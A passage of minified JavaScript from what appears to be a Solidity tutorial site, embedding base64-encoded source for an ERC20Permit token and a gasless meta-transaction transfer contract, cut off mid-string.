transaction",AA=[{fileName:"ERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5pc3dhcC91bmlzd2FwLXYyLWNvcmUvYmxvYi9tYXN0ZXIvY29udHJhY3RzL1VuaXN3YXBWMkVSQzIwLnNvbCkKLy8vIEBkZXYgRG8gbm90IG1hbnVhbGx5IHNldCBiYWxhbmNlcyB3aXRob3V0IHVwZGF0aW5nIHRvdGFsU3VwcGx5LCBhcyB0aGUgc3VtIG9mIGFsbCB1c2VyIGJhbGFuY2VzIG11c3Qgbm90IGV4Y2VlZCBpdC4KYWJzdHJhY3QgY29udHJhY3QgRVJDMjAgewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7CgogICAgc3RyaW5nIHB1YmxpYyBuYW1lOwogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CiAgICB1aW50OCBwdWJsaWMgaW1tdXRhYmxlIGRlY2ltYWxzOwogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICB1aW50MjU2IGludGVybmFsIGltbXV0YWJsZSBJTklUSUFMX0NIQUlOX0lEOwogICAgYnl0ZXMzMiBpbnRlcm5hbCBpbW11dGFibGUgSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBub25jZXM7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpIHsKICAgICAgICBuYW1lID0gX25hbWU7CiAgICAgICAgc3ltYm9sID0gX3N5bWJvbDsKICAgICAgICBkZWNpbWFscyA9IF9kZWNpbWFsczsKICAgICAgICBJTklUSUFMX0NIQUlOX0lEID0gYmxvY2suY2hhaW5pZDsKICAgICAgICBJTklUSUFMX0RPTUFJTl9TRVBBUkFUT1IgPSBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCk7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKG1zZy5zZW5kZXIsIHRvLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHVpbnQyNTYgYWxsb3dlZCA9IGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXTsgLy8gU2F2ZXMgZ2FzIGZvciBsaW1pdGVkIGFwcHJvdmFscy4KICAgICAgICBpZiAoYWxsb3dlZCAhPSB0eXBlKHVpbnQyNTYpLm1heCkgewogICAgICAgICAgICBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl0gPSBhbGxvd2VkIC0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwoKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgcHVibGljIHZpcnR1YWwgewogICAgICAgIHJlcXVpcmUoZGVhZGxpbmUgPj0gYmxvY2sudGltZXN0YW1wLCAiUEVSTUlUX0RFQURMSU5FX0VYUElSRUQiKTsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYWRkcmVzcyByZWNvdmVyZWRBZGRyZXNzID0gZWNyZWNvdmVyKAogICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgICAgICAgICAgICAgICJceDE5XHgwMSIsCiAgICAgICAgICAgICAgICAgICAgICAgIERPTUFJTl9TRVBBUkFUT1IoKSwKICAgICAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJQZXJtaXQoYWRkcmVzcyBvd25lcixhZGRyZXNzIHNwZW5kZXIsdWludDI1NiB2YWx1ZSx1aW50MjU2IG5vbmNlLHVpbnQyNTYgZGVhZGxpbmUpIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3duZXIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3BlbmRlciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBub25jZXNbb3duZXJdKyssCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVhZGxpbmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICB2LAogICAgICAgICAgICAgICAgciwKICAgICAgICAgICAgICAgIHMKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICByZWNvdmVyZWRBZGRyZXNzICE9IGFkZHJlc3MoMCkgJiYgcmVjb3ZlcmVkQWRkcmVzcyA9PSBvd25lciwKICAgICAgICAgICAgICAgICJJTlZBTElEX1NJR05FUiIKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIGFsbG93YW5jZVtyZWNvdmVyZWRBZGRyZXNzXVtzcGVuZGVyXSA9IHZhbHVlOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIERPTUFJTl9TRVBBUkFUT1IoKSBwdWJsaWMgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gYmxvY2suY2hhaW5pZCA9PSBJTklUSUFMX0NIQUlOX0lECiAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgIDogY29tcHV0ZURvbWFpblNlcGFyYXRvcigpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKSBpbnRlcm5hbCB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGUoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgIkVJUDcxMkRvbWFpbihzdHJpbmcgbmFtZSxzdHJpbmcgdmVyc2lvbix1aW50MjU2IGNoYWluSWQsYWRkcmVzcyB2ZXJpZnlpbmdDb250cmFjdCkiCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgIGtlY2NhazI1NigiMSIpLAogICAgICAgICAgICAgICAgYmxvY2suY2hhaW5pZCwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgYWRkcmVzcygwKSwgYW1vdW50KTsKICAgIH0KfQoKY29udHJhY3QgRVJDMjBQZXJtaXQgaXMgRVJDMjAgewogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpCiAgICAgICAgRVJDMjAoX25hbWUsIF9zeW1ib2wsIF9kZWNpbWFscykKICAgIHt9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgcHVibGljIHsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"GaslessTokenTransfer.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEdhc2xlc3NUb2tlblRyYW5zZmVyIHsKICAgIGZ1bmN0aW9uIHNlbmQoCiAgICAgICAgYWRkcmVzcyB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2VpdmVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZmVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgLy8gUGVybWl0IHNpZ25hdHVyZQogICAgICAgIHVpbnQ4IHYsCiAgICAgICAgYnl0ZXMzMiByLAogICAgICAgIGJ5dGVzMzIgcwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gUGVybWl0CiAgICAgICAgSUVSQzIwUGVybWl0KHRva2VuKS5wZXJtaXQoCiAgICAgICAgICAgIHNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50ICsgZmVlLCBkZWFkbGluZSwgdiwgciwgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2ZXIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo="}],uA=`

            Gasless ERC20 token transfer with Meta transaction

            +`,hA=({prev:s,next:a})=>r.jsx(A,{version:tA,title:oA,description:rA,html:gA,prev:s,next:a,codes:iA}),IA="0.8.24",dA="Gasless Token Transfer",CA="Gasless ERC20 token transfer with Meta transaction",jA=[{fileName:"ERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5pc3dhcC91bmlzd2FwLXYyLWNvcmUvYmxvYi9tYXN0ZXIvY29udHJhY3RzL1VuaXN3YXBWMkVSQzIwLnNvbCkKLy8vIEBkZXYgRG8gbm90IG1hbnVhbGx5IHNldCBiYWxhbmNlcyB3aXRob3V0IHVwZGF0aW5nIHRvdGFsU3VwcGx5LCBhcyB0aGUgc3VtIG9mIGFsbCB1c2VyIGJhbGFuY2VzIG11c3Qgbm90IGV4Y2VlZCBpdC4KYWJzdHJhY3QgY29udHJhY3QgRVJDMjAgewogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7CgogICAgc3RyaW5nIHB1YmxpYyBuYW1lOwogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CiAgICB1aW50OCBwdWJsaWMgaW1tdXRhYmxlIGRlY2ltYWxzOwogICAgdWludDI1NiBwdWJsaWMgdG90YWxTdXBwbHk7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikpIHB1YmxpYyBhbGxvd2FuY2U7CiAgICB1aW50MjU2IGludGVybmFsIGltbXV0YWJsZSBJTklUSUFMX0NIQUlOX0lEOwogICAgYnl0ZXMzMiBpbnRlcm5hbCBpbW11dGFibGUgSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBub25jZXM7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpIHsKICAgICAgICBuYW1lID0gX25hbWU7CiAgICAgICAgc3ltYm9sID0gX3N5bWJvbDsKICAgICAgICBkZWNpbWFscyA9IF9kZWNpbWFsczsKICAgICAgICBJTklUSUFMX0NIQUlOX0lEID0gYmxvY2suY2hhaW5pZDsKICAgICAgICBJTklUSUFMX0RPTUFJTl9TRVBBUkFUT1IgPSBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCk7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKICAgICAgICBlbWl0IEFwcHJvdmFsKG1zZy5zZW5kZXIsIHNwZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKG1zZy5zZW5kZXIsIHRvLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHVpbnQyNTYgYWxsb3dlZCA9IGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXTsgLy8gU2F2ZXMgZ2FzIGZvciBsaW1pdGVkIGFwcHJvdmFscy4KICAgICAgICBpZiAoYWxsb3dlZCAhPSB0eXBlKHVpbnQyNTYpLm1heCkgewogICAgICAgICAgICBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl0gPSBhbGxvd2VkIC0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwoKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgcHVibGljIHZpcnR1YWwgewogICAgICAgIHJlcXVpcmUoZGVhZGxpbmUgPj0gYmxvY2sudGltZXN0YW1wLCAiUEVSTUlUX0RFQURMSU5FX0VYUElSRUQiKTsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYWRkcmVzcyByZWNvdmVyZWRBZGRyZXNzID0gZWNyZWNvdmVyKAogICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoCiAgICAgICAgICAgICAgICAgICAgICAgICJceDE5XHgwMSIsCiAgICAgICAgICAgICAgICAgICAgICAgIERPTUFJTl9TRVBBUkFUT1IoKSwKICAgICAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJQZXJtaXQoYWRkcmVzcyBvd25lcixhZGRyZXNzIHNwZW5kZXIsdWludDI1NiB2YWx1ZSx1aW50MjU2IG5vbmNlLHVpbnQyNTYgZGVhZGxpbmUpIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3duZXIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3BlbmRlciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBub25jZXNbb3duZXJdKyssCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVhZGxpbmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICB2LAogICAgICAgICAgICAgICAgciwKICAgICAgICAgICAgICAgIHMKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICByZWNvdmVyZWRBZGRyZXNzICE9IGFkZHJlc3MoMCkgJiYgcmVjb3ZlcmVkQWRkcmVzcyA9PSBvd25lciwKICAgICAgICAgICAgICAgICJJTlZBTElEX1NJR05FUiIKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIGFsbG93YW5jZVtyZWNvdmVyZWRBZGRyZXNzXVtzcGVuZGVyXSA9IHZhbHVlOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIERPTUFJTl9TRVBBUkFUT1IoKSBwdWJsaWMgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gYmxvY2suY2hhaW5pZCA9PSBJTklUSUFMX0NIQUlOX0lECiAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgIDogY29tcHV0ZURvbWFpblNlcGFyYXRvcigpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKSBpbnRlcm5hbCB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoCiAgICAgICAgICAgIGFiaS5lbmNvZGUoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgIkVJUDcxMkRvbWFpbihzdHJpbmcgbmFtZSxzdHJpbmcgdmVyc2lvbix1aW50MjU2IGNoYWluSWQsYWRkcmVzcyB2ZXJpZnlpbmdDb250cmFjdCkiCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgIGtlY2NhazI1NigiMSIpLAogICAgICAgICAgICAgICAgYmxvY2suY2hhaW5pZCwKICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKCiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgYWRkcmVzcygwKSwgYW1vdW50KTsKICAgIH0KfQoKY29udHJhY3QgRVJDMjBQZXJtaXQgaXMgRVJDMjAgewogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfbmFtZSwgc3RyaW5nIG1lbW9yeSBfc3ltYm9sLCB1aW50OCBfZGVjaW1hbHMpCiAgICAgICAgRVJDMjAoX25hbWUsIF9zeW1ib2wsIF9kZWNpbWFscykKICAgIHt9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgcHVibGljIHsKICAgICAgICBfbWludCh0bywgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"GaslessTokenTransfer.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb